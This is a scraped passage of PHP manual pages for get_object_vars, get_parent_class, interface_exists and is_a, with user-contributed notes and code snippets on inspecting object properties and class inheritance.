        $GLOBALS[err]=ERR(__CLASS__,__FUNCTION__,__FILE__,'',"Supplied objects are not of same class.");
        return false;
    } else {
        foreach($aKeys as $sKey) {
            if($oVarsA[$sKey] !== $oVarsB[$sKey]) {
                $retAr[]=$sKey;
            }
        }
        return $retAr;
    }
}

$o=new Audit;
$o->_load(1);
$aDifferences=objCompare($o->oOldVersion, $o->oNewVersion);

echo "Between the compared objects, the variables below differ from eachother:<br/>";
print_r($aDifferences);
echo "<br/><br/><h2>For an automated output:</h2>";
foreach($aDifferences as $sVar) {
    echo "OLD VERSION of var ".$sVar.":<br/>".$o->oOldVersion->{$sVar}."<br/><br/>";
    echo "NEW VERSION of var ".$sVar.":<br/>".$o->oNewVersion->{$sVar}."<br/>";
    echo "<hr>";
}
?>
Maikel 23-May-2007 11:13
To follow the code of d11wtq (enquiries AT chriscorbyn.co.uk). I did this function to inspect all properties(public, private, protected) of object.

<?php
header("content-type: text/plain");

// Classes to test!
class OtherClass
{
    private $privateVarOtherClass = 11;
}

class MyClass extends OtherClass
{
    protected $protectedVar = "some";
    public $publicVar = "nk";
    private $privateVar = "algo";
    var $oldStyle;
}

// Dangerous function
function get_properties($obj, $values=false)
{
    $obj_dump  = print_r($obj, 1);
    $matches =  array();
    preg_match_all('/^\s+\[(\w+).*\] => (\w*)/m', $obj_dump, $matches);
    if ($values)
    {
        $output = array();
        foreach ($matches[1] as $key => $property)
        {
            $output[$property] = $matches[2][$key];
        }
        return $output;
    }
    else
    {
        return $matches[1];
    }
}

$instance = new MyClass();

echo "Properties\n";
print_r(get_properties($instance));

echo "Properties and values\n";
print_r(get_properties($instance, true));

?>

Note: remember that static properties are not visible to the object. By that not supported to them
thiago dot henrique dot mata at gmail dot com 21-Feb-2007 11:23
<?php
# How to make a function change the private attributes
# from some object without use serialize functions or
# lose the control of the changes.

/**
 * Parent Class to allow the change of privates attributes
 * Look the abstract function __setAttribute.
 *
 * @author Renan de Lima ( renandelima@gmail.com )
 * @author Thiago Mata ( thiago.henrique.mata@gmail.com )
 * @date 2007-02-21
 */
abstract class father
{
    /**
     * Receive the Aray and try to change the attribute value
     *
     * @param array $arrNewValues
     */
    public function __fromDatabase( $arrNewValues )
    {
        $arrToSet = array_intersect_key( $arrNewValues, get_object_vars( $this ) );
        foreach( $arrToSet as $strAttribute => $mixValue )
        {
            $this->__setAttribute( $strAttribute , $mixValue );
        }
    }

    /**
     * Required method to control the attributes of class
     * @param string $strAttribute
     * @param unknown $mixValue
     */
    abstract protected function __setAttribute( $strAttribute, $mixValue );

}

/**
 * Just a example of a child class using the functionality
 *
 * Note: if you don't wanna to allow the change of some attribute
 * by this method you can just make more complex the __setAttribute function.
 *
 * @author Renan de Lima ( renandelima@gmail.com )
 * @author Thiago Mata ( thiago.henrique.mata@gmail.com )
 * @date 2007-02-21
 */
class son extends father
{

    private $atr = 9;

    /**
     * This is the most simple implementation of the method.
     * This way it's allowed to the parent class change any attribute
     * @param string $strAttribute
     * @param unknown $mixValue
     */
    protected function __setAttribute( $strAttribute, $mixValue )
    {
        $this->{ $strAttribute } = $mixValue;
    }

}

$objSon = new son();
$objSon->__fromDatabase( array( 'atr' => 55 ) );
var_dump( $objSon );
?>
ananda dot putra at gmail dot com 01-Mar-2006 03:49
Hi all, I just wrote a function which dumps all the object propreties and its associations recursively into an array. Here it is..
<?php
function object_to_array($obj) {
        $_arr = is_object($obj) ? get_object_vars($obj) : $obj;
        foreach ($_arr as $key => $val) {
                $val = (is_array($val) || is_object($val)) ? object_to_array($val) : $val;
                $arr[$key] = $val;
        }
        return $arr;
}
?>

Example:
You have an object like this:
fruitsbasket Object
(
    [Fruits] => Array
        (
            [0] => fruits Object
                (
                    [_name] => Mango
                    [_color] => Green
                    [_weight] => 10
                )

            [1] => fruits Object
                (
                    [_name] => Apple
                    [_color] => Red
                    [_weight] => 15
                )

            [2] => fruits Object
                (
                    [_name] => Grape
                    [_color] => Purple
                    [_weight] => 5
                )

        )

    [total_weight] => 30
)

just do:
<?php
$the_array = object_to_array($the_object);
print_r($the_array);
?>

it will produce an array:
Array
(
    [Fruits] => Array
        (
            [0] => Array
                (
                    [_name] => Mango
                    [_color] => Green
                    [_weight] => 10
                )

            [1] => Array
                (
                    [_name] => Apple
                    [_color] => Red
                    [_weight] => 15
                )

            [2] => Array
                (
                    [_name] => Grape
                    [_color] => Purple
                    [_weight] => 5
                )

        )

    [total_weight] => 30
)

I wish function like this could be usefull for you all. :)
support at sascha minus diebel dot de 23-Dec-2005 02:55
Note that get_object_vars() returns the variables of the object not the class. You need to know if your class is extended from a parent class.
d11wtq (enquiries AT chriscorbyn.co.uk) 17-Nov-2005 03:40
Since there's no apparent means of obtaining all the *private* properties in an object I wrote a little function to do it.  Built in support would be much more efficient since mine uses a preg_  search to do this....

<?php

function get_private_properties($obj, $inside=false)
{
    $obj_dump  = print_r($obj, 1);
    preg_match_all('/^\s+\[(\w+):private\]/m', $obj_dump, $matches);
    if ($inside)
    {
        $output = array();
        foreach ($matches[1] as $property)
        {
            $output[$property] = $obj->$property;
            return $output;
        }
    }
    else return $matches[1];
}

?>

So if you run it with the optional second paramter missing you'll just get an array of the variable names that are private inside the class.  This is the only option if you are not inside the actual object and the object has no private properties inherited.

If you run it with the second parameter set to true you will get an associative array with the properties and their corresponding values.  I'd only advise to do that for singletons since you may get errors if there are any private properites in parents/children.
pascal dot poncet at netconsult dot com 13-Oct-2005 07:20
Subject: using "sql_calc_found_rows" in a MySQL query while exploiting result in a PHP db class object.

Hello,

There is a nice function in MySQL that allows to know how many records would have been returned if no "where" clause were set : SQL_CALC_FOUND_ROWS.

If you have create a db object to collect the returned lines, you will be a little perplex when trying to call the result of this function.

Why ?
Simply because the returned field's name is "found_rows()" and obviously it's not possible to call something like :

<?php $result->found_rows() ?>

...as it will try to acces a method, not a property !

Then, the only way to get the right result seems to be the use of a class function, like :

<?php
  $db->query("select found_rows()");
  $count=current(get_object_vars(current($db->result)));
?>

Of course, if somebody found an other way to solve it, like a special syntax (see the one used with curled arrays in a string), I'm really open to discuss.

Good luck,
Pascal
Marc 23-Aug-2005 06:08
If you want to access all properties (private, protected, public) of a class and his base class(es) from outside the object you can take a look in the code below.
You can even reffrence them.

Example:
<?php

// Dummy class to act as parent class.
class Dummy
{
    private        $d1 = 1;
    protected    $d2 = 2;
    public        $d3 = 3;
}

// The class to test on.
class Test extends Dummy
{
    private        $t1 = 11;
    protected    $t2 = 12;
    public        $t3 = 13;
}

// Instance of the test class.
$test =& new Test();

// The propertynames of the test class and his parent.
$nameD1 = "\0Dummy\0d1";    // class Dummy, private      $d1
$nameD2 = "\0*\0d2";        // class Dummy, protected $d2
$nameD3 = "d3";            // class Dummy, public    $d3

$nameT1 = "\0Test\0t1";        // class Test,  private      $t1
$nameT2 = "\0*\0t2";        // class Test,  protected $t2
$nameT3 = "t3";            // class Test,  public    $t3

// Printing all members (private, protected, public) of test class and parent.
// These are the values at construction.
print("Original object:\n");
print("\t\$d1 = ".$test->$nameD1."\n");
print("\t\$d2 = ".$test->$nameD2."\n");
print("\t\$d3 = ".$test->$nameD3."\n");
print("\t\$t1 = ".$test->$nameT1."\n");
print("\t\$t2 = ".$test->$nameT2."\n");
print("\t\$t3 = ".$test->$nameT3."\n");
print("\n");

// Create new values to use as reffrence.
$varD1 = 31;
$varD2 = 32;
$varD3 = 33;

$varT1 = 41;
$varT2 = 42;
$varT3 = 43;

// Reffrence these to the class properties.
$test->$nameD1 =& $varD1;
$test->$nameD2 =& $varD2;
$test->$nameD3 =& $varD3;

$test->$nameT1 =& $varT1;
$test->$nameT2 =& $varT2;
$test->$nameT3 =& $varT3;

// Printing all members (private, protected, public) of test class and parent.
// The values have changed by assigning reffrence to them.
print("Object Changed by reffrence (1):\n");
print("\t\$d1 = ".$test->$nameD1."\n");
print("\t\$d2 = ".$test->$nameD2."\n");
print("\t\$d3 = ".$test->$nameD3."\n");
print("\t\$t1 = ".$test->$nameT1."\n");
print("\t\$t2 = ".$test->$nameT2."\n");
print("\t\$t3 = ".$test->$nameT3."\n");
print("\n");

// Change the original values.
// This will change the class properties.
$varD1 = 61;
$varD1 = 62;
$varD1 = 63;

$varT1 = 71;
$varT1 = 72;
$varT1 = 73;

// Printing all members (private, protected, public) of test class and parent.
// The values have changed because the variables $varXX have been changed.
print("Object Changed by reffrence (2):\n");
print("\t\$d1 = ".$test->$nameD1."\n");
print("\t\$d2 = ".$test->$nameD2."\n");
print("\t\$d3 = ".$test->$nameD3."\n");
print("\t\$t1 = ".$test->$nameT1."\n");
print("\t\$t2 = ".$test->$nameT2."\n");
print("\t\$t3 = ".$test->$nameT3."\n");
print("\n");

// Printing the object using print_r() shows the changes
// have been done on the object.
print("Object Changed (print_r):\n");
print_r($test);
print("\n");

// If you dont now the class propertynames you can get these by casting the
// object to an array. The array keys are the names
$prop = array_keys((array) $test);
print("Getting all class propertynames (print_r)\n");
print_r($prop);

//Result
/*

Original object:
    $d1 = 1
    $d2 = 2
    $d3 = 3
    $t1 = 11
    $t2 = 12
    $t3 = 13

Object Changed by reffrence (1):
    $d1 = 31
    $d2 = 32
    $d3 = 33
    $t1 = 41
    $t2 = 42
    $t3 = 43

Object Changed by reffrence (2):
    $d1 = 63
    $d2 = 32
    $d3 = 33
    $t1 = 73
    $t2 = 42
    $t3 = 43

Object Changed (print_r):
Test Object
(
    [t1:private] => 73
    [t2:protected] => 42
    [t3] => 43
    [d1:private] => 63
    [d2:protected] => 32
    [d3] => 33
)

Getting all class propertynames (print_r)
Array
(
    [0] => Test

*/

?>
stachnik at gmail dot com 02-Aug-2005 09:00
In PHP5 to get an array with all properties (even the private ones) all you have to do is write a public method that returns an array for your class:

public function getArray()
{
  return get_object_vars($this);
}

and then

$myBeautifulArray = $myBeautifulObject->getArray ();

Have BEAUTIFUL day :)
fmmarzoa at librexpresion dot org 01-Nov-2004 11:53
You can still cast the object to an array to get all its members and see its visibility. Example:

<?php

class Potatoe {
    public $skin;
    protected $meat;
    private $roots;

    function __construct ( $s, $m, $r ) {
        $this->skin = $s;
        $this->meat = $m;
        $this->roots = $r;
    }
}

$Obj = new Potatoe ( 1, 2, 3 );

echo "<pre>\n";
echo "Using get_object_vars:\n";

$vars = get_object_vars ( $Obj );
print_r ( $vars );

echo "\n\nUsing array cast:\n";

$Arr = (array)$Obj;
print_r ( $Arr );

?>

This will returns:

Using get_object_vars:
Array
(
    [skin] => 1
)

Using array cast:
Array
(
    [skin] => 1
    [ * meat] => 2
    [ Potatoe roots] => 3
)

As you can see, you can obtain the visibility for each member from this cast. That which seems to be spaces into array keys are '\0' characters, so the general rule to parse keys seems to be:

Public members: member_name
Protected memebers: \0*\0member_name
Private members: \0Class_name\0member_name

I've wroten a obj2array function that creates entries without visibility for each key, so you can handle them into the array as it were within the object:

<?php

function obj2array ( &$Instance ) {
    $clone = (array) $Instance;
    $rtn = array ();
    $rtn['___SOURCE_KEYS_'] = $clone;

    while ( list ($key, $value) = each ($clone) ) {
        $aux = explode ("\0", $key);
        $newkey = $aux[count($aux)-1];
        $rtn[$newkey] = &$rtn['___SOURCE_KEYS_'][$key];
    }

    return $rtn;
}

?>

I've created also a <i>bless</i> function that works similar to Perl's bless, so you can further recast the array converting it in an object of an specific class:

<?php

function bless ( &$Instance, $Class ) {
    if ( ! (is_array ($Instance) ) ) {
        return NULL;
    }

    // First get source keys if available
    if ( isset ($Instance['___SOURCE_KEYS_'])) {
        $Instance = $Instance['___SOURCE_KEYS_'];
    }

    // Get serialization data from array
    $serdata = serialize ( $Instance );

    list ($array_params, $array_elems) = explode ('{', $serdata, 2);
    list ($array_tag, $array_count) = explode (':', $array_params, 3 );
    $serdata = "O:".strlen ($Class).":\"$Class\":$array_count:{".$array_elems;

    $Instance = unserialize ( $serdata );
    return $Instance;
}
?>

With these ones you can do things like:

<?php

define("SFCMS_DIR", dirname(__FILE__)."/..");
require_once (SFCMS_DIR."/Misc/bless.php");

class Potatoe {
    public $skin;
    protected $meat;
    private $roots;

    function __construct ( $s, $m, $r ) {
        $this->skin = $s;
        $this->meat = $m;
        $this->roots = $r;
    }

    function PrintAll () {
        echo "skin = ".$this->skin."\n";
        echo "meat = ".$this->meat."\n";
        echo "roots = ".$this->roots."\n";
    }
}

$Obj = new Potatoe ( 1, 2, 3 );

echo "<pre>\n";
echo "Using get_object_vars:\n";

$vars = get_object_vars ( $Obj );
print_r ( $vars );

echo "\n\nUsing obj2array func:\n";

$Arr = obj2array($Obj);
print_r ( $Arr );

echo "\n\nSetting all members to 0.\n";
$Arr['skin']=0;
$Arr['meat']=0;
$Arr['roots']=0;

echo "Converting the array into an instance of the original class.\n";
bless ( $Arr, Potatoe );

if ( is_object ($Arr) ) {
    echo "\$Arr is now an object.\n";
    if ( $Arr instanceof Potatoe ) {
        echo "\$Arr is an instance of Potatoe class.\n";
    }
}

$Arr->PrintAll();

?>
27-Oct-2004 08:02
actually, it's not entirely true that php5 will only return public members....php5 will return any variable IT HAS ACCESS TO

In other words, if you do a get_class_variables($this) inside a class, you'll get everything - public, private, the whole shebang...really annoying since you can't check to see what's private/public without using reflection
manicdepressive AT mindless DOT com 05-Mar-2004 07:57
more strange, strange behaviour:

if you are trying to deep-copy an object with get_object_vars(), strange behaviour can accidentally clobber your original object properties.  please read very, very carefully:

get_object_vars() may either return references to *or* deep copies of the object's properties *depending on whether that property has been set with the -> operator*.   (this behaviour probably varies per php platform and os so please confirm for yourself.)

furthermore, consider
  $properties = get_object_vars($obj);
normally, unset()ting a reference does not affect the original, i.e. $ref = NULL; is not the same as unset($ref); per the references documentation.  However, if you have this strange references version and you unset() an array element of $properties, it will *SET THE OBJECT PROPERTY TO NULL*, which is not how references normally work.

even stranger behaviour comes into effect that i can only express with an example.  please test this with your version and OS and proceed very carefully:
-->
<?php
echo "<pre>\n";

class Lump
{
   var $size = 'average';

   function & copy()
   {  // return a deep copy
      $copy = new Lump();
      $properties = get_object_vars($this);
      foreach( array_keys( $properties ) as $property ){
         $copy->$property = $properties[$property];  // deep, right?
      }
      return $copy;
   }

}

$lump = new Lump();

$lump->size = 'huge';  // <--- this line changes everything
// comment above line out, and see the difference
// also, try substituting another property for 'size'

$properties = get_object_vars($lump);
$properties['size'] = 'small'; // this behavior varies

echo "after changing the properties array:\n";
var_dump( $lump );
// it's either big or small (never huge) depending on
// whether you commented-out the indicated line

//------------- let's try using our copy() method

$original_lump = new Lump();
$original_lump->size = 'huge'; // this line changes the behaviour
$other_lump =& $original_lump->copy();
unset( $other_lump->size );
echo "after unsetting in copy:\n";
var_dump( $original_lump ); // i'm afraid so -- original value clobbered !

echo "</pre>\n";
?>
code till dawn,
   mark meves
christopher AT NOSPAM AT idealab DOT com 30-Dec-2003 03:12
Hmmm.  A bit embarassing...

It turns out the best way to get references to all of your objects member variables is NOT with the functions I provided before, or with get_object_vars.

Just cast the object to array.

$a=(array)$obj;

# The two following statements are now equivalent and identical
$a["member"]=3;
$obj->member=3;

A very powerful tool, for inspectors and what not.
christopher AT NOSPAM AT idealab DOT com 23-Dec-2003 12:49
Please note that you cannot affect the object via the array values...in other words, the returned array does not contain references to the values within the object, but copies.

If you are making an object inspector or editor, this is not good enough.  So I made the following methods:

METHODS:

function &getVar($obj, $name)
{
        $expr="\$prop=&\$obj->$name;";
        eval($expr);
        return $prop;
}

function &getObjectVars($obj)
{
        $result=array();
        $vars=get_object_vars($obj);
        foreach ($vars as $var => $value)
        {
                $result[$var]=&getVar(&$obj, $var);
        }
        return $result;
}

[NOTE:  You must pass in a reference to an object, not an object.  Sorry if this  offends PHP'ers, but the distinction of pass-by-value and copy-on-assignment drives me batty (compared to Python, Java, Smalltalk), so I make all my functions pass by value, and force myself to pass in a reference to keep track of what is happening under the hood.]

EXAMPLE:

class Bob
{
        function Bob()
        {
                $this->thing=13;
                $this->other="whatever";
        }

        var $thing;
        var $other;
}

$obj=&new Bob();

# NOTE:  Passing in a reference!
$props=getObjectVars(&$obj);
$props["thing"]=-11;

var_dump($obj);

RESULTS:

object(bob)(2) {
  ["thing"]=>
  &int(-11)
  ["other"]=>
  &string(8) "whatever"
}
jordi at laigu dot net 06-Nov-2003 05:21
In case your object contains again OBJECTS or ARRAYS:

function makeAssoc($res) {
  if (is_object($res)) $res = get_object_vars($res);
  while (list($key, $value) = each($res)) {
    if (is_object($value) || is_array($value)) {
      $res[$key] = makeAssoc($value);
    }
  }
  return $res;
}

Thanks to mark at dreamzpace dot com
markus at emedia-solutions-wolf dot de 06-Mar-2003 12:01
Hi,

I figured out that in prior version to 4.2 the returned array only contains attributes directly in this class, excluding the derived ones from parentclasses.
info at phpken dot de 21-Nov-2002 06:34
hello,

this example will look like all values of vars was set in your class. write a method like the name: dumpClass and then fill in follow code:

$vars = get_object_vars($this);

echo "<b>class vars</b>";

foreach( $vars as $name => $value ) {
    echo "<li>".$name." : ".$value;
}

look at: get_object_vars($this);

andreas v.l
mark at dreamzpace dot com 13-Sep-2002 10:44
In case your object contains again objects (and so on), this function might be useful:

function makeAssoc($res) {
  $res = get_object_vars($res);
  while (list($key, $value) = each($res)) {
    if (is_object($value)) {
      $res[$key] = makeAssoc($value);
    }
  }
  return $res;
}
nick_eby at bonzidev dot com 09-Jul-2002 12:13
Furthermore, variables not declared in the class but set on a given object, will be returned by get_object_vars().

Example, ver. 4.2.1:
<?
class MyTest {
        var $classVar1 = 'Class Var 1';
        var $classVar2;
        var $classVar3;

        function MyTest()
        {
                $this->classVar2 = 'class var 2';
        }
}

$test = new MyTest();
// This var isn't declared in the class
$test->newObjVar = 'foobar';

echo "<pre>";
print_r(get_object_vars($test));
echo "</pre>";
?>

The output is:
Array
(

    [classVar1] => Class Var 1
    [classVar2] => class var 2
    [classVar3] =>
    [newObjVar] => foobar
)

Prior to version 4.2, classVar3 would not be output as it was never assigned a value.
michael at tapinternet dot com 13-Jun-2002 03:32
It seems that get_object_vars will now return properties of an object even if they have no value  - meaning only defined by var $foo in the class declaration.  This is noted behaviour in 4.2.1 which is different from previous versions and hitherto undocumented on this page.
florian at XCLUDETHISgsf dot de 29-Jan-2002 10:02
There is a strange behaviour, not sure whether it is a bug:

if I call
<?
$single_object = $data_array_of_objects[0];
$array_of_objectvars = get_object_vars($single_object);
     foreach($array_of_objectvars as $key => $val) {
     echo(" $key => $val<br>");
     }
?>
I get only _ONE_ line with the $key = first variable name of the object and $val = the values of _ALL_ variables of the object including the first separated by a space.

NOW:
if I call
<?
$single_object = $data_array_of_objects[0];
$array_of_objectvars = get_object_vars($single_object);
     foreach($array_of_objectvars as $key => $val) {
     echo(" $key => $val<br>");
     }
     echo($data_array_of_objects[0]->objectvar1."<br>");
     echo($data_array_of_objects[0]->objectvar2."<br>");
?>

I get a list of $key = $ val as expected, before the other echos' are printed.
It seems to me that get_object_vars works differently when you access a variable in those objects explicitly (as in the echos)
get_declared_traits
get_parent_class
Classes/Object Functions


Retrieves the parent class name for object or class

get_object_vars
interface_exists
Classes/Object Functions
PHP Manual

get_parent_class

(PHP 4, PHP 5)

get_parent_class — Retrieves the parent class name for object or class

Description

string get_parent_class ([ mixed $object ] )

Retrieves the parent class name for object or class.

Parameters

object

The tested object or class name

Return Values

Returns the name of the parent class of the class of which object is an instance or the name.

Note:

If the object does not have a parent FALSE will be returned.

If called without parameter outside object, this function returns FALSE.

Changelog

Version | Description
Before 5.1.0 | If called without parameter outside object, this function would have returned NULL with a warning.
Since 5.0.0 | The object parameter is optional if called from the object's method.
Since 4.0.5 | If object is a string, returns the name of the parent class of the class with that name.

Examples

Example #1 Using get_parent_class()

<?php

class dad {
    function dad()
    {
    // implements some logic
    }
}

class child extends dad {
    function child()
    {
        echo "I'm " , get_parent_class($this) , "'s son\n";
    }
}

class child2 extends dad {
    function child2()
    {
        echo "I'm " , get_parent_class('child2') , "'s son too\n";
    }
}

$foo = new child();
$bar = new child2();

?>

The above example will output:

I'm dad's son
I'm dad's son too

See Also

  • get_class() - Returns the name of the class of an object
  • is_subclass_of() - Checks if the object has this class as one of its parents

User Contributed Notes

Michael Torp Kaalund 07-Jun-2011 05:45
I have been playing with parent and child class, and I used this function to determine that which one was calling an function. I for an example it if you only want your parent class to be able to make an function call:
here is my example (by the way this example was inspired by another example fund on php.net):
<?php

class Parents {
    public static $status; //This is the status
    protected static $idCount;
    protected $id;

    function __construct() {
        $this->id = ++self::$idCount;
        self::$status = "tmp";
    }

    public function run($task) {
        if(get_parent_class($this) == "") {
            echo 'Command issued: '.$task.'<br>';
            self::$status = $task;
        }
    }

    public function __tostring() {
        return "(".__class__.")id=".$this->id." status=".self::$status."<br>";
    }
}

class Child extends Parents {
    function __construct() {
        parent::__construct();
        self::$status = "tmp";
        echo "Child construct<br>";
    }

    public function __tostring() {
        return "(".__class__.")id=".$this->id." status=".self::$status."<br>";
    }
}

$parent = new Parents();
echo $parent;
$child = new Child();
echo $child;
echo get_parent_class('Child')."<br>";
$parent->run("mtk");
echo $parent;
echo $child;
$child->run("mtk1");
echo $parent;
echo $child;
?>

which will produces somethink like:
(Parents)id=1 status=tmp
Child construct
(Child)id=2 status=tmp
Parents
Command issued: mtk
(Parents)id=1 status=mtk
(Child)id=2 status=mtk
(Parents)id=1 status=mtk
(Child)id=2 status=mtk

hopes it helps some one :D
levu 20-Apr-2011 08:36
I wrote a simple function doing the reverse thing: get the children:

<?php
function get_child($instance, $classname) {
    $class = $classname;
    $t = get_class($instance);
    while (($p = get_parent_class($t)) !== false) {
        if ($p == $class) {
            return $t;
        }
        $t = $p;
    }
    return false;
}

abstract class A {
    function someFunction() {
        return get_child($this, __CLASS__);
    }
}

class B extends A {

}

class C extends B {

}

$c = new C();
echo $c->someFunction(); //displays B

?>
michael at getsprink dot -- com 09-Apr-2009 12:28
This little snippet to get the inheritance tree might be useful to someone.

<?php

header("Content-Type: text/plain;");

class Top {
  public function getParents($class=null, $plist=array()) {
    $class = $class ? $class : $this;
    $parent = get_parent_class($class);
    if($parent) {
      $plist[] = $parent;
      /*Do not use $this. Use 'self' here instead, or you
       * will get an infinite loop. */
      $plist = self::getParents($parent, $plist);
    }
    return $plist;
  }
}

class Middle extends Top {

}

class Bottom extends Middle {

}

$o = new Bottom();
print_r($o->getParents());

?>
ssb45 at cornell dot edu 14-May-2008 08:32
"'If called without parameter outside object' What on earth does that mean?"

There are two places this could be called:
1. From within a member function of an object.  In this case, it may be called with no parameters and will return the parent class of the object owning the member function.  (If the parameter is included, then it will return the parent class of the specified class as normal.)

2. From outside an object (i.e., global or function scope).  In this case, PHP doesn't know what class you're talking about if you don't include a parameter, so it returns FALSE.  (But, of course, it works if you specify the class with the parameter.)
marcus at synchromedia dot co dot uk 16-Apr-2008 09:08
"If called without parameter outside object" What on earth does that mean?

What I can tell you, and that is not documented, is that if the object in question does not have an explicitly declared parent class, it does return boolean false. It doesn't for example return 'stdClass' on the basis that all objects are derived from that.
birkholz at web dot de 06-Oct-2005 05:01
tim at correctclick dot com wrote:
<quote>
A slightly more cryptic but faster get_ancestors function:

<?php
function get_ancestors ($class) {

     for ($classes[] = $class; $class = get_parent_class ($class); $classes[] = $class);
     return $classes;

}
?>
(The second part of the for is implicitly testing for $class != "").  Recursion is considerably slower than looping, so you probably want to use this function.

Hope someone finds it useful.
</quote>

I would prefer this version, because it will create no duplicates:
<?php
function get_ancestors ($class) {
    $classes = array($class);
    while($class = get_parent_class($class)) { $classes[] = $class; }
    return $classes;
}

Greets, Dennis
?>
matt-php at DONT-SPAM-ME dot bitdifferent dot com 01-Nov-2004 07:52
PHP (4 at least, dunno about 5) stores classnames in lower case, so:

<?PHP

class Foo
{
}

class Bar extends Foo
{
}

echo get_parent_class('Bar');

echo "\n";

echo get_parent_class('bar');

?>

will output:

foo
foo
radu dot rendec at ines dot ro 07-Apr-2004 06:44
If the argument obj is a string and the class is not defined, then the function returns FALSE.

If the argument obj is an object created from a class with no ancestors (or a string representing a class with no ancestors), then the function returns FALSE.
tim at correctclick dot com 05-Apr-2003 07:48
A slightly more cryptic but faster get_ancestors function:

function get_ancestors ($class) {

      for ($classes[] = $class; $class = get_parent_class ($class); $classes[] = $class);
      return $classes;

}

(The second part of the for is implicitly testing for $class != "").  Recursion is considerably slower than looping, so you probably want to use this function.

Hope someone finds it useful.
eric dot brison at anakeen dot com 28-Jan-2002 04:14
To return all ancestors class of an object

function get_ancestors_class($classname) {
  $father = get_parent_class($classname);

  if ($father != "") {

    $ancestors = get_ancestors_class($father);
    $ancestors[] = $father;
  }
  return $ancestors;
}

example :
-----------
Class C  {

}

Class B extends C {

}

Class A extends B {

}
print_r (get_ancestors_class("a"));
print_r (get_ancestors_class("b"));

example result :
---------------
Array
(
    [0] => c
    [1] => b
)
Array
(
    [0] => c
)
get_object_vars
interface_exists
Classes/Object Functions


Checks if the interface has been defined

get_parent_class
is_a
Classes/Object Functions
PHP Manual

interface_exists

(PHP 5 >= 5.0.2)

interface_exists — Checks if the interface has been defined

Description

bool interface_exists ( string $interface_name [, bool $autoload = true ] )

Checks if the given interface has been defined.

Parameters

interface_name

The interface name

autoload

Whether to call __autoload or not by default.

Return Values

Returns TRUE if the interface given by interface_name has been defined, FALSE otherwise.

Examples

Example #1 interface_exists() example

<?php
// Check the interface exists before trying to use it
if (interface_exists('MyInterface')) {
    class MyClass implements MyInterface
    {
        // Methods
    }
}

?>

See Also

  • class_exists() - Checks if the class has been defined

User Contributed Notes

nils dot rocine at gmail dot com 26-Oct-2011 06:35
A little note on namespaces that may be obvious to some, but was not obvious to me.

Although you can make the below statement when the statement is in the same namespace as the interface/class declaration MyInterface...
<?php
$foo instanceof MyInterface
?>

Making use of the interface_exists, or class_exists functions, you must enter the full namespaced interface name like so (even if the function call is from the same namespace.)
<?php
interface_exists(__NAMESPACE__ . '\MyInterface', false);
?>
andrey at php dot net 24-Oct-2004 04:40
As far as I remember interface_exists() was added in 5.0.2 . In 5.0.0 and 5.0.1 class_exists() used to return TRUE when asked for a existing interface. Starting 5.0.2 class_exists() doesn't do that anymore.
get_parent_class
is_a
Classes/Object Functions


Checks if the object is of this class or has this class as one of its parents

interface_exists
is_subclass_of
Classes/Object Functions
PHP Manual

is_a

(PHP 4 >= 4.2.0, PHP 5)

is_a — Checks if the object is of this class or has this class as one of its parents

Description

bool is_a ( object $object , string $class_name [, bool $allow_string = FALSE ] )

Checks if the given object is of this class or has this class as one of its parents.

Parameters

object

The tested object

class_name

The class name

allow_string

Whether to call autoloader if the class doesn't exist.

Return Values

Returns TRUE if the object is of this class or has this class as one of its parents, FALSE otherwise.

Changelog

Version | Description
5.3.9 | Added allow_string parameter
5.3.0 | This function is no longer deprecated, and will therefore no longer throw E_STRICT warnings.
5.0.0 | This function became deprecated in favour of the instanceof operator. Calling this function will result in an E_STRICT warning.

Examples

Example #1 is_a() example

<?php
// define a class
class WidgetFactory
{
  var $oink = 'moo';
}

// create a new object
$WF = new WidgetFactory();

if (is_a($WF, 'WidgetFactory')) {
  echo "yes, \$WF is still a WidgetFactory\n";
}
?>

Example #2 Using the instanceof operator in PHP 5

<?php
if ($WF instanceof WidgetFactory) {
    echo 'Yes, $WF is a WidgetFactory';
}
?>

See Also

  • get_class() - Returns the name of the class of an object
  • get_parent_class() - Retrieves the parent class name for object or class
  • is_subclass_of() - Checks if the object has this class as one of its parents

User Contributed Notes

webmaster at thedigitalorchard dot ca 14-Jan-2012 01:35
What a farce, I must say. :)

PHP 5.3.9 adds an $allow_string parameter in order to handle strings being passed in, but controls the auto-loading behavior? Talk about confusing. Not sure if there's a committee discussing changes to core functions like this, but I feel that's a poor design. Don't get me wrong, I greatly appreciate the voluntary efforts of PHP developers, but this loosy-goosy approach to function prototypes is a recipe for disaster over the long term.
eitan at mosenkis dot net 12-Jan-2012 01:09
As of PHP 5.3.9, is_a() seems to return false when passed a string for the first argument. Instead, use is_subclass_of() and, if necessary for your purposes, also check if the two arguments are equal, since is_subclass_of('foo', 'foo') will return false, while is_a('foo', 'foo') used to return true.
Aron Budinszky 07-Sep-2011 04:21
Be careful! Starting in PHP 5.3.7 the behavior of is_a() has changed slightly: when calling is_a() with a first argument that is not an object, __autoload() is triggered!

In practice, this means that calling is_a('23', 'User'); will trigger __autoload() on "23". Previously, the above statement simply returned 'false'.

More info can be found here:
https://bugs.php.net/bug.php?id=55475

Whether this change is considered a bug and whether it will be reverted or kept in future versions is yet to be determined, but nevertheless it is how it is, for now...
p dot scheit at zweipol dot net 16-Jan-2007 01:44
At least in PHP 5.1.6 this works as well with Interfaces.

<?php
interface test {
  public function A();
}

class TestImplementor implements test {
  public function A () {
    print "A";
  }
}

$testImpl = new TestImplementor();

var_dump(is_a($testImpl,'test'));
?>

will return true
martin dunisch 13-Feb-2006 12:02
Workaround for older PHP-Versions:

function is_a($anObject, $aClass) {
   return get_class($anObject) == strtolower($aClass)
     or is_subclass_of($anObject, $aClass);
}
dead dot screamer at seznam dot cz 06-Feb-2006 11:44
Why I test if class `A` inherit class `B` or implements interface `C` before I create class `A`?

<?
//That isn't work:

//1. function is_A()
if(is_A('A','B'))$a=new A;
if(is_A('A','C'))$a=new A;

//2. operator instanceOf
if(A instanceOf B)$a=new A;
if(A instanceOf C)$a=new A;
?>
zabmilenko at hotmail dot com 07-Oct-2005 05:18
Lazy Instantiation using is_a() and php5

<?php

class ObjectA
{
    public function print_line($text)
    {
        print $text . "\n";
    }
}

class ObjectB
{
    public function ObjectA()
    {
        static $objecta;

        if (!is_a($objecta, 'ObjectA'))
        {
            $objecta = new ObjectA;
        }

        return $objecta;
    }
}

$obj = new ObjectB;
$obj->ObjectA()->print_line('testing, 1 2 3');

?>

In the above example, ObjectA is not instantiated until needed by ObjectB.  Then ObjectB can continually use it's creation as needed without reinstantiating it.

There are other ways, but I like this one :-)
